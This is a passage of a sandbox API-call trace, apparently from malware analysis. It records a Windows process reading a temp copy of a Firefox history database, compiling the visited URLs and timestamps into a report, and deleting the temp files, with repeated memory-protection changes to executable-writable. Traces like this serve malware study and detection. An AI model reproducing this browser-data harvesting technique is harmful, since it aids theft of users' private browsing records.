lpFileSizeHigh=0x1e7de724*=0x0) returned 0xa00000 [0165.480] ReadFile (in: hFile=0x66c, lpBuffer=0x1fee3b40, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7de718, lpOverlapped=0x1e7de6dc | out: lpBuffer=0x1fee3b40*, lpNumberOfBytesRead=0x1e7de718*=0x8000, lpOverlapped=0x1e7de6dc) returned 1 [0165.481] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de6bc | out: lpOverlapped=0x1e7de6bc) returned 1 [0165.481] LockFileEx (in: hFile=0x670, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df368 | out: lpOverlapped=0x1e7df368) returned 1 [0165.481] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7df3f4 | out: lpFileSizeHigh=0x1e7df3f4*=0x0) returned 0xa00000 [0165.482] ReadFile (in: hFile=0x66c, lpBuffer=0x1fedbaa0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7df3e8, lpOverlapped=0x1e7df3ac | out: lpBuffer=0x1fedbaa0*, lpNumberOfBytesRead=0x1e7df3e8*=0x8000, lpOverlapped=0x1e7df3ac) returned 1 [0165.482] ReadFile (in: hFile=0x66c, lpBuffer=0x1fed3a00, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7df390, lpOverlapped=0x1e7df354 | out: lpBuffer=0x1fed3a00*, lpNumberOfBytesRead=0x1e7df390*=0x8000, lpOverlapped=0x1e7df354) returned 1 [0165.483] ReadFile (in: hFile=0x66c, lpBuffer=0x1fecb960, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7df3a0, lpOverlapped=0x1e7df364 | out: lpBuffer=0x1fecb960*, lpNumberOfBytesRead=0x1e7df3a0*=0x8000, lpOverlapped=0x1e7df364) returned 1 [0165.493] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.497] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:35:40ṽ⽾瑮鉀璀ṽ厍瑳鉀璀嗔瑳ゐῡ嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 19 [0165.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfefb4, cbMultiByte=19, lpWideCharStr=0x1e7de6f8, cchWideChar=2047 | out: lpWideCharStr="Verify Java Version5:40ṽ⽾瑮鉀璀ṽ厍瑳鉀璀嗔瑳ゐῡ嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 19 [0165.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfefd4, cbMultiByte=42, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="https://java.com/en/download/installed.jsp嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 42 [0165.497] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:35:40d/installed.jsp嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 19 [0165.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfefb4, cbMultiByte=41, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="http://java.com/en/download/installed.jspp嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 41 [0165.498] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:35:40/installed.jspp嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 19 [0165.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf6148, cbMultiByte=35, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="http://java.com/verify/?src=installed.jspp嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 35 [0165.498] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:31:00=installed.jspp嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 19 [0165.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=14, lpWideCharStr=0x1e7de6f8, cchWideChar=2047 | out: lpWideCharStr="Chrome-Browser 10:31:00=installed.jspp嚀ῤ嗡瑳⦗瑯ゐῡ鎜璀") returned 14 [0165.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf37b0, cbMultiByte=50, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="https://www.google.de/chrome/browser/thankyou.html鎜璀") returned 50 [0165.499] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:30:53e/browser/thankyou.html鎜璀") returned 19 [0165.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=15, lpWideCharStr=0x1e7de6f8, cchWideChar=2047 | out: lpWideCharStr="ChromeSetup.exe10:30:53e/browser/thankyou.html鎜璀") returned 15 [0165.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfefb4, cbMultiByte=291, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 291 [0165.499] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.499] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:26:49/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 19 [0165.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1da4, cbMultiByte=28, lpWideCharStr=0x1e7de6f8, cchWideChar=2047 | out: lpWideCharStr="Chrome für Desktop-Computeruid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 28 [0165.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2c64, cbMultiByte=55, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="https://www.google.de/chrome/browser/desktop/index.html463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 55 [0165.500] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:26:29e/browser/desktop/index.html463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 19 [0165.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1da4, cbMultiByte=30, lpWideCharStr=0x1e7de6f8, cchWideChar=2047 | out: lpWideCharStr="download chrome - Google-Sucheer/desktop/index.html463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 30 [0165.500] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfefb4, cbMultiByte=166, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="https://www.google.de/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb&gfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dgtats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 166 [0165.500] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:26:29h?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb&gfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dgtats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 19 [0165.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfefb4, cbMultiByte=131, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="https://www.google.com/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflbgfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dgtats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 131 [0165.501] _localtime64_s (in: _Tm=0x1e7df300, _Time=0x1e7df2f0 | out: _Tm=0x1e7df300) returned 0x0 [0165.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef94, cbMultiByte=19, lpWideCharStr=0x1e7de700, cchWideChar=2047 | out: lpWideCharStr="2017-06-30 10:25:55ch?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflbgfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dgtats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 19 [0165.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfefb4, cbMultiByte=18, lpWideCharStr=0x1e7de6f8, cchWideChar=2047 | out: lpWideCharStr="Welcome to Firefox25:55ch?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflbgfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dgtats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 18 [0165.501] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2c64, cbMultiByte=52, lpWideCharStr=0x1e7de6f0, cchWideChar=2047 | out: lpWideCharStr="https://www.mozilla.org/en-US/firefox/25.0/firstrun/tf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflbgfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dgtats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe瑰\x03") returned 52 [0165.502] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df38c | out: lpOverlapped=0x1e7df38c) returned 1 [0165.502] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df640 | out: lpOverlapped=0x1e7df640) returned 1 [0165.502] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df638 | out: lpOverlapped=0x1e7df638) returned 1 [0165.502] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df640 | out: lpOverlapped=0x1e7df640) returned 1 [0165.502] UnmapViewOfFile (lpBaseAddress=0x70000) returned 1 [0165.503] CloseHandle (hObject=0x674) returned 1 [0165.503] CloseHandle (hObject=0x670) returned 1 [0165.505] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef4170, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0165.505] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef4170, cbMultiByte=-1, lpWideCharStr=0x1fefc040, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-shm") returned 68 [0165.505] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-shm")) returned 0x2020 [0165.505] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-shm")) returned 1 [0165.507] CloseHandle (hObject=0xf4) returned 1 [0165.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0165.507] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b671, cbMultiByte=-1, lpWideCharStr=0x1fefc040, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal") returned 68 [0165.507] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-wal")) returned 0x2020 [0165.507] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-wal")) returned 1 [0165.508] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df63c | out: lpOverlapped=0x1e7df63c) returned 1 [0165.508] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df63c | out: lpOverlapped=0x1e7df63c) returned 0 [0165.508] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df630 | out: lpOverlapped=0x1e7df630) returned 0 [0165.508] GetLastError () returned 0x9e [0165.508] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df63c | out: lpOverlapped=0x1e7df63c) returned 1 [0165.508] CloseHandle (hObject=0x66c) returned 1 [0165.525] SysReAllocStringLen (in: pbstr=0x1e7df7d8*=0x0, psz="[2017-06-30 10:35:40] Verify Java Version\r\nhttps://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/verify/?src=install\r\n\r\n[2017-06-30 10:31:00] Chrome-Browser\r\nhttps://www.google.de/chrome/browser/thankyou.html\r\n\r\n[2017-06-30 10:30:53] ChromeSetup.exe\r\nhttps://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe\r\n\r\n[2017-06-30 10:26:49] Chrome für Desktop-Computer\r\nhttps://www.google.de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-30 10:26:29] download chrome - Google-Suche\r\nhttps://www.google.de/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb&gfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dg\r\n\r\n[2017-06-30 10:26:29] \r\nhttps://www.google.com/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb\r\n\r\n[2017-06-30 10:25:55] Welcome to Firefox\r\nhttps://www.mozilla.org/en-US/firefox/25.0/firstrun/\r\n\r\n", len=0x4d7 | out: pbstr=0x1e7df7d8*="[2017-06-30 10:35:40] Verify Java Version\r\nhttps://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/verify/?src=install\r\n\r\n[2017-06-30 10:31:00] Chrome-Browser\r\nhttps://www.google.de/chrome/browser/thankyou.html\r\n\r\n[2017-06-30 10:30:53] ChromeSetup.exe\r\nhttps://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe\r\n\r\n[2017-06-30 10:26:49] Chrome für Desktop-Computer\r\nhttps://www.google.de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-30 10:26:29] download chrome - Google-Suche\r\nhttps://www.google.de/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb&gfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dg\r\n\r\n[2017-06-30 10:26:29] \r\nhttps://www.google.com/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb\r\n\r\n[2017-06-30 10:25:55] Welcome to Firefox\r\nhttps://www.mozilla.org/en-US/firefox/25.0/firstrun/\r\n\r\n") returned 1 [0165.525] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.526] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp")) returned 1 [0165.540] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0165.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.548] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="[2017-06-30 10:35:40] Verify Java Version\r\nhttps://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/verify/?src=install\r\n\r\n[2017-06-30 10:31:00] Chrome-Browser\r\nhttps://www.google.de/chrome/browser/thankyou.html\r\n\r\n[2017-06-30 10:30:53] ChromeSetup.exe\r\nhttps://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B57BBA69A-1CE9-1102-C0D3-4A1EE342D570%7D%26lang%3Dde%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1/update2/installers/ChromeSetup.exe\r\n\r\n[2017-06-30 10:26:49] Chrome für Desktop-Computer\r\nhttps://www.google.de/chrome/browser/desktop/index.html\r\n\r\n[2017-06-30 10:26:29] download chrome - Google-Suche\r\nhttps://www.google.de/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb&gfe_rd=cr&ei=VSdWWc_qN_CP8QezmaO4Dg\r\n\r\n[2017-06-30 10:26:29] \r\nhttps://www.google.com/search?q=download+chrome&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a&channel=fflb\r\n\r\n[2017-06-30 10:25:55] Welcome to Firefox\r\nhttps://www.mozilla.org/en-US/firefox/25.0/firstrun/\r\n\r\n", cchWideChar=1239, lpMultiByteStr=0x1e7de78c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[2017-06-30 10:35:40] Verify Java Version\r\nhttps://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/en/download/installed.jsp\r\n\r\n[2017-06-30 10:35:40] \r\nhttp://java.com/verify/?src=install\r\n\r\n[2017-06-30 10:31:00] Chrome-Browser\r\nhttps://www.google.de/chrome/browser/thankyou.html\r\n\r\n[2017-06-30 10:30:53] 